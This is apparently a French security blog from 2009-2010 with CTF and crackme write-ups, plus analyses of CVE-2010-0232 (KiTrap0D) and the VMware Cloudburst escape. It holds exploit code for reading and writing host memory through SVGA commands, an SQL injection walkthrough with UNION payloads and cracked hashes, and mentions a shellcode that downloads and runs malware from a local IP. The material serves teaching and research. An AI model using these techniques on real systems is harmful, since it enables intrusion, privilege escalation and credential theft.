Mysterie's blog

Format string automatique

Mysterie — Mon, 12 Jul 2010 18:25:00 +0100

Cet été j'ai décidé d'apprendre le python, et pour que se soit fun je me suis mis en tête de faire un script qui automatise les format strings.

En plus c'est la mode:
http://esec.fr.sogeti.com/blog/index.php?2010/07/09/88-exploitation-de-format-string-avec-metasm
http://sh4ka.fr/codes/fmt_string_builder.html
ou pas:
http://www.ouah.org/REMOTEFMT-HOWTO
http://nibbles.tuxfamily.org/?p=887
http://www.redspin.com/blog/2009/11/25/automatic-format-string-exploitation/

Le script se décline en 3 fichiers:
main.py
warper.py (détecte ou se situe les arguments faillibles du programme et où placer le payload)
frmtStr.py (exploite la format string)

La format string est exploitable dans la cas où:

On est sur une archi x86 (32bit), sous linux
La pile est exécutable
Pas d'aslr (Quoi qu'avec un gros padding/nopsleed ca passe)
La section dynamic est +W
Le programme vulnérable n'est pas trop verbeux (ca peut fausser la détection)

En bref sur un wargame c'est parfait (ca permet de gagner du temps), sur un programme réel ca l'est moins.

Je vous conseille de regarder la vidéo en fullscreen (pas super lisible).

Write Up – NDH 2010 – VM Windows

Mysterie — Thu, 24 Jun 2010 19:40:00 +0100

Pour les personnes n'ayant pas participé au capture the flag ou pour ceux qui n'ont pas exploité les services présent sur la machine Windows. Je mets à disposition les sources des épreuves que j'ai réalisé, et une solution pour chacunes d'elles.

Premier point d'entrée, utilisateur toto mot de passe azerty.

Deuxième point d'entrée, un remote buffer overflow avec réécriture du SEH. Sauf que sur la VM le binaire était full safeSEH, alors que je l'ai testé/exploité sur ma box, j'ai du merder à la compilation bref désolé pour ceux qui ont passé du temps dessus.

Troisième point d'entrée, sur le bureau de chaque challenger se trouvait un pdf. Le lecteur par défaut était adobe reader 8.0. Le pdf en question était crafté de façon à exploiter la faille cve-2009-0927.
J'ai ensuite utilisé un shellcode windows trouvé sur le net et retravaillé pour télécharger et exécuter un malware se trouvant à l'url http://192.168.3.200/tmp.exe
Étant donné les quelques problèmes de mise en place du ctf, l'url n'as pas été disponible tout de suite. Quatre équipes se sont infectées mais il est possible que bien plus d'équipes aient ouvert le pdf.

Le shellcode modifié :
source ici

Le pseudo botnet :
source ici

Le botnet réécrit l'IAT d'explorer.exe et de tous les processus lancés par explorer. Afin de se cacher (hook de findFirstFile / findNextFile) et se connecte à irc.
Malgré le fait que le pdf soit sur le bureau et que quatre équipes soit infectées (dont l'équipe gagnante) personne n'a creusé, et personne n'a rejoint irc pour essayer de prendre le contrôle du bot, donc j'ai fais mumuse tout seul:
screen1
screen2
screen3

Viens ensuite quelques épreuves plus triviales comme un serveur java qui sérialise l'objet qu'il reçoit. Cet objet lit un fichier contenant de l'ascii art et renvoie son contenu sur le réseaux, le but étant de modifier l'objet afin d'afficher un fichier contenant le hash de l'utilisateur ascii sur chaque machine.
source ici
Il y avait aussi deux épreuves web mais je n'en suis pas l'auteur donc je n'en parlerai pas. :)

Et enfin un "Local Privilege Escalation", le binaire checksum.exe communique avec un driver. Il envoie le contenu du fichier qu'on lui donne au driver, celui-ci fait un checksum des données et les renvoie au programme. La communication entre eux se fait par la méthode METHOD_NEITHER.
Les challengers ont accès en lecture à checksum.sys. Il pourront remarquer que le driver contient des failles dont un déréférencement de pointeur (Adresse du buffer d'output non vérifié). Les symbols de windows 2003 sp2 était disponible en ftp. Je ne mettrai pas à disposition la source de checksum.exe car il est très crade:
sources ici
Une petite difficultée était présente, comme le font pas mal d'antivirus le code ioctl de gestion du checksum était aléatoire. En analysant le driver ou l'exécutable on retrouvais facilement le code. Le but était de freiner les challengers en cas d'exploitation massive, mais personne n'a exploité cette épreuve. :(

That's all folks !

Write Up – NDH 2010 – Crackme

Mysterie — Wed, 23 Jun 2010 17:40:00 +0100

Le 19 et 20 Juin a eu lieu la 8eme édition de la nuit du hack. Pour cette occasion j'ai réalisé différentes épreuves dont des crackmes accessibles aux personnes participant au challenge public (par le wifi) et aux participants du Capture the flag.
Dans la section Crackme j'ai réalisé les niveaux 1, 3 et 4.

Crackme Niveau 1:

Le crackme n'a aucun mécanisme d'anti-debug. Ce qui lui est donné en entrée est comparé directement à une chaine en mémoire. Rien de bien compliqué en soit:

GetWindowText(hEdit, text, 255);
theSecret[0]++;
theSecret[2]++;
theSecret[4]++;
if(strlen(text) > 0 && !strcmp(text, theSecret)) {
    ShowWindow(hVrai, SW_SHOW);

    strcpy(text, getMD5(text));
    SetWindowText(hMd5, text);
    ShowWindow(hMd5, SW_SHOW);
    ShowWindow(hFaux, SW_HIDE);
} else {
    ShowWindow(hVrai, SW_HIDE);
    ShowWindow(hMd5, SW_HIDE);
    ShowWindow(hFaux, SW_SHOW);
}
theSecret[0]--;
theSecret[2]--;
theSecret[4]--;

La source du crackme:
cm1/

Crackme Niveau 3:

Le mot de passe du programme n'est pas stocké dans sa mémoire ou dans le fichier exécutable. Au chargement il crée 8 plages mémoires contenant des op code de saut assembleur (5 octets). Chaque plage contient 256 sauts, chaque saut équivaut à un caractère ascii. Dans chacune des plages un seul saut est valide et pointe vers une routine de décryptage les autres sauts pointent indirectement vers une routine qui affiche mot de passe faux.
J'utilise aussi l'instruction rdtsc pour calculer le temps effectué entre le première saut et le dernier afin de vérifier que le programme s'exécute en moins d'une seconde sinon c'est que le programme est débuggé et donc j'affiche mot de passe faux dans tous les cas.
La source du crackme:
cm2/

Crackme Niveau 4:

Ce niveau est destiné à des personnes ayant l'habitude de ce genre d'épreuve la difficulté principale de ce challenge est donc de débugger le programme (l'analyser). J'ai mi beaucoup de routine anti-débug. Tout d'abord à l'entrée du programme j'ai incrusté des instructions assembleur pour modifier la signature de l'exécutable (ces instructions ne sont jamais exécutées) le but est de faire croire que l'exécutable est packé c'est à dire qu'il est compressé par un autre logiciel.
Ensuite j'appel une fonction spéciale un peu partout dans le code de mon programme. (junk code)

void brack() {
    __asm {
        _emit 0xEB;  // 0xEB01 = jmp short relatif saute au dessus
        _emit 0x01;  de l'octet 0x1D. Donc ne fait rien au final
        _emit 0x1D;  // 0x1D fait croire au debugger que l'instruction qui suit est SBB
    }
}

Le programme crée ensuite un thread. La fonction du thread est la suivante:

while(1) {
    brack();
    Sleep(1000);
    __try {
        __asm {
            int 3;
        }
    }
    __except(eps = GetExceptionInformation(), EXCEPTION_EXECUTE_HANDLER) {
        brack();
        isDbg = false;
    }
    if(isDbg) {
        quit();
        break;
    }
    isDbg = true;
}

Dans le cas où un débugger serait présent au démarrage du programme ou s'il s'attache au programme durant son exécution, l'instruction int 3 (point d'arrêt) est exécutée le débugger la récupère. Le programme détecte ainsi qu'un débugger est présent et le mot de passe n'est jamais révélé.

La fonction IsDebuggerPresent est aussi appelée dans le programme. Elle est appelée indirectement (récupération de l'adresse de la fonction dynamique).

GetProcAddress(GetModuleHandle("Kernel32.dll"), "IsDebuggerPresent");

Et enfin j'utilise l'instruction rdtsc dans le programme pour vérifier que le temps d'exécution de celui ci n'est pas trop long.

Si le challenger contourne toute ces protections alors le programme alloue une plage mémoire, écrit à l'emplacement de cette plage des octets spécifiques (fonction de déchiffrement encodé), puis la décode avec un XOR. Lorsque l'utilisateur entre son mot de passe la fonction déchiffrée effectue plusieurs opérations aritmétriques sur le mot de passe:

Longueur de la chaine
Est-ce que la deuxième lettre est égale à la 5eme
OU / ET logique, XOR etc...

Par un calcul mathématique ou un peu de logique on retrouve assez simplement le passe. Il n'y a aucune collision une seule solution est valide.
La source du crackme:
cm3/

Au niveau des résultats sur 180 participants (public/ctf):

Level1 10 validations
Level3 5 validations
Level4 3 validations

Des solutions sont déjà disponibles sur le net:
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-1
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-2
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-3

Et si vous êtes féru de crackme ce week end Eset NOD32 organise un challenge.

Return Oriented Programming

Mysterie — Sun, 06 Jun 2010 17:58:00 +0100

Ce week-end se tenait à Maubeuge les rssil (Rencontres des Solutions de Sécurité et d'Informatique Libre).
Je vous encourage à y aller l'an prochain. Il y avait une très bonne ambiance, des conf intéressantes et j'ai pu y rencontrer pas mal de monde. Je tiens à remercier tout particulièrement les organisateurs de l'évènement pour leur accueil et leur organisation.

Pour ceux qui veulent récupérer mes slides ou tout simplement ceux qui n'ont pas pu assister à la conférence:
rop.pdf
rop.odp
rop.ppt

Et pour ceux qui sont intéressés par le sujet je vous conseil aussi la lecture de ce papier réalisé par Dino dai zovi il y a un mois.

Pour les autres conférences, les slides devraient être eux aussi en ligne d'ici peu. Ainsi que les épreuves du challenge ethical hacking (en tout cas les résolus).

VDM + #GP Trap Handler + IRET = CVE-2010-0232 (MS10-015)

Mysterie — Sun, 24 Jan 2010 16:38:00 +0000

Je profite des vacances pour jeter un oeil sur la faille trouvée par Tavis Ormandy dans le système de gestion du mode virtuel de Windows. Faille présente depuis Windows NT 3.1 (1993).

Pour pouvoir utiliser des exécutables 16bits(mode réel) dans un environnement 32bits(mode protégé) il faut passer par le mode virtuel. Pour cela Windows a crée un sous-système appelé "NTVDM" qui va interagir avec le binaire 16bits. Offrant à celui-ci la possibilité d'effectuer des instructions tels que CLI, STI, PUSHF, POPF, IRET... Le passage en V86 se fait par le biais de la fonction NtVdmControl().
Il existe déjà un article sur le V86 sous Windows ici. Passons à ce qui nous intéresse, l'exploitation de la faille se fait en 3 étapes.

1] Utiliser NtVdmControl requière le SeTcbPrivilege.

La solution est basique, il suffit d'invoquer un exécutable 16bits. Alors ntvdm.exe va être lancé à son tour pour servir d'interface entre le binaire 16bit et le système d'exploitation. On injecte une dll dans ntvdm.exe et le code qu'elle exécutera bénéficiera du SeTcbPrivilege car les contrôles pour ce token se font au niveau du processus. (EPROCESS->Flags.VdmAllowed).

Avant d'appeler la fonction NtVdmControl il faut donner au champ Vdm du TEB l'adresse d'une structure de type VDM_TIB:

// Thread Information Block for VDM Threads
// http://doxygen.reactos.org/dd/de7/vdm_8h_source.html
typedef struct _Vdm_Tib {
  ULONG Size; // Va être utile par la suite
  PVDM_INTERRUPTHANDLER VdmInterruptTable;
  PVDM_FAULTHANDLER VdmFaultTable;
  CONTEXT MonitorContext;
  CONTEXT VdmContext; // Va être utile par la suite
  VDMEVENTINFO EventInfo;
  VDM_PRINTER_INFO PrinterInfo;
  ULONG TempArea1[2];
  ULONG TempArea2[2];
  VDMTRACEINFO TraceInfo;
  ULONG IntelMSW;
  LONG NumTasks;
  PFAMILY_TABLE *pDpmFamTbls;
  BOOLEAN ContinueExecution;
} VdmTib = {0};

*NtCurrentTeb()->Reserved4 = &VdmTib; // TEB->Vdm

Ensuite pour initialiser la VDM il faut au préalable mapper le premier MB de mémoire virtuelle dans le processus ntvdm.exe. On peut maintenant appeler la fonction VdmpInitialize (via NtVdmControl(3)) Le binaire 16bit pourra donc adresser les 1MB de RAM grâce à la segmentation (cs << 4) + (eip & 0xffff).

Maintenant qu'on a initialisé la VDM on va pouvoir jouer avec, pour cela on va s'intéresser à nt!VdmpStartExecution. Cette fonction est invoquée via NtVdmControl(0, NULL). nt!NtVdmControl va d'abord appeler nt!VdmpGetVdmTib pour vérifier que notre VdmTib (TEB->Vdm) a une taille conforme. Tavis a utilisé une boucle qui incrémente la taille du champ TEB->Vdm->Size afin de trouver la bonne taille. (Et pour que l'exploit passe sur la plupart des versions de Windows). Sur Xp la taille est hardcoder.

nt!VdmpGetVdmTib+0x50:
805b7aad cmp dword ptr [eax],674h

Pourquoi cette valeur, c'est la taille de la structure VdmTib (Elle change suivant les versions de Windows). Avant de lancer l'exécution de la VDM je mets le champ VdmTib.Size = 0x674;

2] Modification du registre CS en ring3

En mode protégé le Cpl (Current Privilege Level) d’un thread est indiqué par les deux bits de poids faible de ces segments CS, DS, ES, FS, GS et SS. C'est une manière simple de savoir s'il doit tourner en ring0(kernel) ou ring3(user). Mais en mode réel cela n'existe pas, l'adressage se fait de la façon suivante: (cs<<4) + (eip&0xffff) (segment+offset). Idem pour le mode virtuel qui nous laisse modifier le registre CS.

3] Une "trap frame" ne peut être forgée en ring3

La fonction nt!VdmpStartExecution va faire passer notre thread en mode virtuel pour cela elle va faire appelle à la fonction nt!VdmSwapContexts. Celle-ci va mettre à jour la trap frame crée par KiFastCallEntry avec notre VdmTib.VdmContext.
La trap frame contient l'état de tout les registres du thread avant le passage en ring0(kernel). Voici ce qui va se passer:

// J'ai simplifié au maximum
// http://doxygen.reactos.org/d9/d2a/vdmexec_8c_a76568763a2d5e9d5f49cdc36256148b0.html#a76568763a2d5e9d5f49cdc36256148b0
nt!VdmSwapContexts(PKTRAP_FRAME TrapFrame, PCONTEXT MonitorContext, PCONTEXT VdmContext) {
  TrapFrame->SegCs = VdmContext->SegCs;
  TrapFrame->HardwareSegSs = VdmContext->SegSs;
  TrapFrame->Eax = VdmContext->Eax;
  TrapFrame->Ebx = VdmContext->Ebx;
  TrapFrame->Ecx = VdmContext->Ecx;
  TrapFrame->Edx = VdmContext->Edx;
  TrapFrame->Esi = VdmContext->Esi;
  TrapFrame->Edi = VdmContext->Edi;
  TrapFrame->Ebp = VdmContext->Ebp;
  TrapFrame->HardwareEsp = VdmContext->Esp;
  TrapFrame->Eip = VdmContext->Eip;

  TrapFrame->SegCs |= RPL_MASK;
  TrapFrame->HardwareSegSs |= RPL_MASK;
  /* Check for bogus CS */
  if (TrapFrame->SegCs < KGDT_R0_CODE) {
    /* Set user-mode */
    TrapFrame->SegCs = KGDT_R3_CODE | RPL_MASK;
  }
}

Donc on contrôle notre trap frame. A la fin de la fonction nt!VdmpStartExecution l'instruction IRET fait basculer notre thread vers le ring3(user) et restaure ses registres avec ceux de la trap frame.
Le registre qui nous intéresse le plus est l'EFLAG qui contient TF=1 et VM=1. Le VM=1 va créer une task en mode virtuel, le TF=1 quand à lui sort de nul part:

VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;

En effet le handler de #DB est la fonction KiTrap01 mais c'est la KiTrap0D qui est appelée. On a donc affaire à une exception de type #GP!
D'après Rob Collins, le comportement de l'instruction IRET avec TF=1 provoque un #GP mais les pentiums les plus récent ne provoque plus de #GP.

Bref une exception de type #GP est levée, on est encore en ring0 donc il n'y a pas de changement de privilège, la pile n'est pas changée et notre trap frame reste la même. On passe donc par le handler KiTrap0D. Celui-ci va effectuer des tests dont:

nt!KiTrap0D+0x22f:
804e116e mov eax,offset nt!Ki386BiosCallReturnAddress (805093fd)
804e1173 cmp eax,dword ptr [edx] ; edx = KTRAP_FRAME.HardwareEsp (VdmContext->eip)
...
804e1177 mov eax,dword ptr [edx+4] ; edx+4 = KTRAP_FRAME.HardwareSegSs (VdmContext->SegCs)
804e117a cmp ax,0Bh

Donc en faisant pointer VdmContext->eip sur l'adresse de Ki386BiosCallReturnAddress (qui a déclenché kitrap0d), et VdmContext->SegCs sur 0xB on est dirigé vers la fonction Ki386BiosCallReturnAddress. Dans le cas contraire KiTrap0D nous renvoie un "Access violation".

// Pour simplifier au max la fonction Ki386BiosCallReturnAddress va faire: 
80509415 mov esp,dword ptr [ebp+58h] ; esp = &KernelStack (VdmContext.Esi notre fausse pile)
80509418 add esp,4 ; esp += 4
...
80509421 mov dword ptr [ecx+18h],edi ; (KTHREAD)CurrentThread->InitialStack = &KernelStack+0x230

Donc on contrôle ESP et ces 8 premiers DWORD (Le reste est écrasé). C'est assez pour écraser le saved EIP et rediriger le flux d'exécution vers une fonction de notre dll. Par contre on peut voir aussi qu'avant d'arriver dans notre dll, Ki386BiosCallReturnAddress fou le bordel dans notre KTHREAD. Donc dès qu'on retourne dans notre dll on profite d'être en ring0 (cpl à 0 pour le registre cs) pour bloquer les interruptions et réparer notre KTHREAD.
Tavis scan les 512 premier DWORD de cette structure, j'ai pas trop capté l'utilité, surement car cette structure change en fonction des versions de windows. En tout cas il y a plus simple (je peux me tromper) la structure KTHREAD est modifiée au niveau du champ InitialStack.

offset du champ InitialStack dans la structure KTHREAD:
+0x18 pour Xp sp3
+0x28 pour Vista et Win Seven

Cela fait 2 valeurs à scanner, enfin une en utilisant GetVersionEx(). Ensuite on lui remet sa valeur par défaut. Dans le cas contraire au moment du changement de thread (nt!SwapContext) on se mange un joli bsod.

Le PoC de tavis est là, le code est super clean cela vaut le coup d'oeil.
EDIT: Merci à ivanlef0u pour la relecture/correction :]

http://seclists.org/fulldisclosure/2010/Jan/341
http://cert.lexsi.com/weblog/index.php/2010/01/20/359-windows-de-nouveau-impacte-par-une-0-day-vdm

Des sites qui m'ont fait gagner du temps:

http://www.reactos.org/fr/index.html
http://msdn.msuiche.net/

VMWare Cloudburst suite

Mysterie — Mon, 14 Sep 2009 07:49:00 +0100

Un bref rappel:
les failles que je décris se situent dans le driver SVGA de VMWare (patché depuis plusieurs mois). Nous pouvons interagir avec ce driver en écrivant des commandes dans la mémoire fifo. (Si vous n'avez pas suivi allez voir le post précédent).

En fonction du fichier de configuration de votre VM et de la version de VMWare vous aurez accès ou non à certaine commande. Je ne traiterai pas toutes les commandes, pour jouer avec les requêtes 3D il vous faut ajouter à votre fichier de configuration: mks.enable3d = "TRUE"
Les requêtes 3D ne sont pas documenté, et la mémoire fifo est utilisée comme couche de transport pour l'architecture SVGA3D utiliser par D3D. Je ne m'y suis pas frotté. On fera juste le tour des commandes RECT_COPY et DRAW_GLYPH, qui appartiennent aux requêtes 2D.

I] Lecture mémoire relative.

Pour pouvoir lire la mémoire de l'host on peut utiliser la commande RECT_COPY:

#define SVGA_CMD_RECT_COPY  0x3
/* FIFO layout: Source X, Source Y, Dest X, Dest Y, Width, Height */

vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000-offset); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height

Source X prend comme paramètre des coordonnées en PIXEL. C'est à dire que si SourceX vaut 1 la copie s'effectuera avec un décalage de 4 byte par rapport au début du frame buffer. Avec 0x80000000-offset on obtient donc un offset négatif. Pour que la commande RECT_COPY soit exécutée il faut que deux conditions soit remplies; SourceX>0 et SourceX+Width<0 sachant que SourceX+Width est stocké dans une variable non signée, dans notre code on aura SourceX+Width = 0x80000000-offset+offset = -2147483647. Pour dumper la mémoire après le framme buffer il suffit de jouer avec les deux paramètres vu précédemment.

vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, offset); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000-offset); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height

II] Lecture mémoire absolu.

Le problème de RECT_COPY c'est que la lecture mémoire est relative. Si l'on essaye de copier une page mémoire de vmware-vmx qui n'existe pas, on crash le programme. Donc pour fiabiliser l'exploitation du bug il faut trouver ou se situe le frame buffer du coté host. Sous un host vista la page précédant le frame buffer contient l'adresse que nous recherchons. Sous xp c'est plus ardu, on peut retrouver l'adresse avec une commande 3D ou se risquer à utiliser la même méthode que pour un host vista. Mais il y a des risques de violation d'accès mémoire. Chez moi la plupart de ces techniques fonctionnent (VMWare player Build: 118166) mais sur d'autre configuration cela est impossible.

// Exemple pour vista
vmwareWriteWordToFIFO((PDWORD)VgaFifo, SVGA_CMD_RECT_COPY); // SURF_COPY
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x80000000 - 0x4); // Source X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Source Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x4); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, 0x1); // Height
FBStartOnHost = VMWARE.FrameBuffer[2];

if(dest < FBStartOnHost) { // dest représente une adresse précise
  offset = (FBStartOnHost-dest)/4;
} else {
  offset = (dest-FBStartOnHost)/4;
}

Maintenant que l'on a retrouvé l'adresse du frame buffer on peut lire précisément la mémoire de l'host. On peut donc par exemple récupérer le PeHeader de vmware-vmx (se situant toujours en 0x400000). Pour avoir la version de VMWare et une vue précise des sections principales de l'exécutable code/data etc.

III] Écriture en mémoire.

On peu utiliser la commande RECT_COPY pour écraser la mémoire de l'host. Mais cette commande est mieux filtrée au niveau de la destination car dépendante des valeurs de SVGA_REG_WIDTH et SVGA_REG_HEIGHT. Donc on ne peut écraser seulement quelques Ko précédant le frame buffer. Sur ma version de VMWare la zone mémoire modifiable correspond au heap. J'ai pensé récupérer le TEB se situant en 0x7FFDF000, pour ensuite exploiter un heap overflow. Mais à cette adresse j'ai des valeurs ne correspondant pas à une structure de type TEB. Et un heap overflow n'est pas forcement une exploitation fiable surtout quand il est dépendant de deux valeurs qu'on ne peut ajuster comme on le désire.

J'ai dû me tourner vers la commande DRAW_GLYPH. Pour vérifier si elle est disponible:

WRITE_PORT_ULONG((PULONG)(IOports+SVGA_INDEX_PORT), SVGA_REG_CAPABILITIES);
if(READ_PORT_ULONG((PULONG)(IOports+SVGA_VALUE_PORT)) & SVGA_CAP_GLYPH) DbgPrint("Glyph enable\n");

Si ce n'est pas le cas il faut rajouter svga.yesGlyphs="TRUE" dans votre fichier de configuration. Cette commande n'est absolument pas filtrée au niveau de la destination en X/Y, permettant ainsi d'écrire en mémoire où l'on veut. La taille minimal d'un glyph est de 32pixel et il vas écrire un seul pixel à l'offset 0x6 par rapport à Destination X. Il faut donc faire attention au violation d'accès quand on écrit au bord d'une plage mémoire. Un petit exemple:

// On va écrire 0xD34DB33F dans le premier DWORD du frame buffer.
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, SVGA_CMD_DRAW_GLYPH);
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x3FFFFFF9); // Dest X
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x0); // Dest Y
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x20); // Width
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0x1); // Height
vmwareWriteWordToFIFO((PDWORD)VgaFifo, IOports, 0xD34DB33F); // Valeur

On peut donc lire/écrire en mémoire de façon fiable. En résumé le plus dur est de retrouver l'adresse du frame buffer sans cracher vmware-vmx. Il est ensuite possible d'outrepasser des protections tel que l'ASLR ou le DEP. Crée un canal de communication dans une zone mémoire partagée entre le guest et l'host (le framme buffer par exemple) et exécuter du code. VMWare tournant en Administrateur/root et possédant le token SeLoadDriverPrivilege sous windows, au niveau du code exécute on peut tout faire :)

VMWare Cloudburst

Mysterie — Wed, 05 Aug 2009 23:30:00 +0100

Le paper sur la faille VMWare découverte par Kostya est enfin sortie. Le principe est de s'évader de la machine qui est virtualisé pour exécuter du code sur la machine hôte. La faille en elle même est situé dans le filtrage des requêtes vidéos, petite explication:

VMWare virtualise une carte vidéo appelée "VMWare SVGA II", on peut la retrouver par le biais du bus PCI. Pour plus d'explication sur le bus PCI je vous conseil cet article. La carte vidéo a pour Vendor ID: 0x15ad et Product ID: 0x0405 et est composée de 3 plages mémoire:

La première représente la plage de port I/O (Port mapped I/O). Pour simplifier se sont grâce à elles qu'on pourra communiquer avec la carte graph' virtuelle à l'aide d'instruction assembleur IN/OUT.
La deuxième, est généralement la portion de mémoire la plus grande représentant le frame buffer, C'est à dire l'espace mémoire en ram réservé à la mémoire vidéo. (Chaque pixel ne correspond pas forcement à 4 bytes dans cette mémoire, mais c'est généralement le pitch par défaut sur la plupart des box).
La troisième est dénommé SVGA FIFO. C'est celle qui nous intéresse. Cette espace mémoire est utilisé pour stoker des commandes vidéos. Elles sont filtrées du coté de l'host (vmware-vmx.exe).

Les quatre premier DWORD de la mémoire SVGA FIFO représente des offset précis:
SVGA_FIFO_MIN
SVGA_FIFO_MAX
SVGA_FIFO_NEXT_CMD
SVGA_FIFO_STOP

Min et max représente la plage mémoire fifo réellement utilisé, ces valeurs ne changent pas quand l'os est chargé. Next_cmd représente la prochaine commande vidéo à exécuter. Stop représente le point de synchronisation, il se situe à un offset supérieur à next_cmd. Quand next_cmd est égal à stop ou dépasse max, alors la carte se resynchronise et attend ensuite de nouvelles requêtes.

                  <- début de la ram dédier a la mémoire FIFO 
                  
                  <- SVGA_FIFO_MIN 
                 
                 
                  <- SVGA_FIFO_NEXT_CMD
                  <- SVGA_FIFO_STOP
                 
                  <- SVGA_FIFO_MAX

Dans cette mémoire se trouve les commandes, elles suivent un schéma bien précis. On va prendre l'exemple de la commande RECT_COPY qui prend 6 paramètres (Source X, Source Y, Dest X, Dest Y, Width, Height) et deux paramètres supplémentaires appelés capacities et dont je n'ai pas trouvé l'utilité. Ce qui donne:

+0x0    3 // RECT_COPY (id)
+0x4    0 // Source X
+0x8    0 // Source Y
+0xc   10 // Dest X
+0x10  10 // Dest Y
+0x14  50 // Width en px
+0x18  50 // Height en px
+0x1c  ?? // cap1
+0x20  ?? // cap2

J'essaye donc d'écrire dans la mémoire fifo pour faire pointer SVGA_FIFO_NEXT_CMD sur une commande crafté. Mais vu la rapidité des traitements de la mémoire vidéo il va falloir passer par des commandes IN/OUT pour bloquer les traitements vidéos. Créer notre commande puis relancer le traitement. Pour cela on va communiquer avec la carte graph virtualisée, on a besoin de deux données, l'index port et le value port. Pour le SVGA de type 2 les ports se trouvent comme ceci:

Dans svga_reg.h on as les define:
#define SVGA_INDEX_PORT		0x0
#define SVGA_VALUE_PORT		0x1
#define SVGA_BIOS_PORT		0x2
#define SVGA_NUM_PORTS		0x3
#define SVGA_IRQSTATUS_PORT	0x8

IndexPort = (IOportsBase & PCI_ADDRESS_IO_MASK ) + SVGA_INDEX_PORT;
ValuePort = (IOportsBase & PCI_ADDRESS_IO_MASK ) + SVGA_VALUE_PORT;

On peut donc ensuite envoyer nos commandes... Sachant qu'elles ne sont pas bien filtrées: "For example if Dest X + Width falls out the screen, the operation is said to “clip” and is aborted. Yet the comparisons done on the DWORD and the results of the additions are signed. This opens the door to some malicious usage of the command."

Pendant 2 jours j'ai bloqué là dessus. Puis j'ai décidé de contacter Kostya pour plus de détail (et je le remercie encore pour son aide). Pour récupérer la mémoire de l'host il suffit que la commande RECT_COPY ait comme paramètre Source X > 0 et Source X + width < 0. Il faut donc jouer avec la valeur 0x80000000 pour que la comparaison signée foire. Je ferai un article sur l'exploitation du beug. En tout cas le travail de Kostya est vraiment impressionnant surtout du coté de la communication entre l'host et le guest (MOSDEF over Direct3D) pour la fiabilisation de l'exploit.

Le code:
Du driver xfree86 de VMWare
De mon driver (sans exploit pour le moment)

Quelques liens:
Documentation sur le driver XF86 & SVGAII
Ring -3 Rootkits & Intel BIOS attack
zf05 Mass 0wn4g3

LampSecurity CTF 6

Mysterie — Tue, 28 Jul 2009 22:40:00 +0100

Je me suis attaqué à l'épreuve proposée par lampsecurity, le principe est de faire tourner une machine virtuelle et de la rooter. Si le challenge vous intéresse c'est ici. Il y a aussi une solution en pdf, je propose une autre solution ici. Si vous n'avez pas fait l'épreuve essayé la avant de lire ce qui suit :)

Pour l'installation de l'épreuve j'ai utilisé VMware player 2.5.2 build-156735
Pour la mise en place, la carte réseau virtuel est en mode bridged (Devices->Network adapteur->Bridged) ensuite il suffit de lancer la machine et c'est parti. Le mode bridged induit le faite que la machine sera sur le réseau local. Comme je travail sous windows je commence par:

ipconfig /all
Masque de sous-réseau . . . . . . : 255.255.255.0
Passerelle par défaut . . . . . . : 192.168.1.1
Serveur DHCP. . . . . . . . . . . : 192.168.1.1

Ensuite on lance Nmap pour localiser la machine:

nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.0/24

Chez moi son ip est 192.168.1.114. Puis je scan les ports:

nmap -p 1-65535 -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.114

Étant une épreuve ciblée sur apache & co le seul port ouvert est le port 80/http. On se rend sur le site web et après quelques tests on se rend compte que le site est criblé de failles: upload, sql injection, etc.

http://192.168.1.114/index.php?id=1 OR 1=1
affiche tout les évents. Ensuite on essaye de comprendre comment est structuré la requête. On peut interagir avec 3 champs apparemment 2,3,7 pour récupérer des informations.
?id=1 UNION SELECT 1,user(),database(),4,5,6,@@VERSION se qui nous donne:
user: cms_user@localhost
Version du serv sql : 5.0.45
Table utilisé: cms

Ensuite je me suis intéressé à la base information_schema pour avoir une vu global de la base de donnée.
Par exemple ?id=1 UNION SELECT 1,2,3,4,5,6,SCHEMA_NAME from information_schema.schemata nous indique que la base de donné ressemble à ça:

- information_schema
- cms
- mysql
- roundcube
- test

?id=1 UNION SELECT 1,Host,User,4,5,6,Password from mysql.user
root@localhost : 6cbbdf9b35eb7db1 -> mysqlpass
cms_user@% : 2e0cfd856355b099 -> 45kkald?8laLKD

On peut aussi scanner les répertoires du site où on trouve le fichier http://192.168.1.114/sql/db.sql d'où on récupère des infos sur la table cms.user se qui nous donne le pass admin du site. (on remarquera au passage qu'il y a des sessions stoquées dans la BDD...)

admin : 25e4ee4e9229397b6b17776bfceaf8e7 -> adminpass
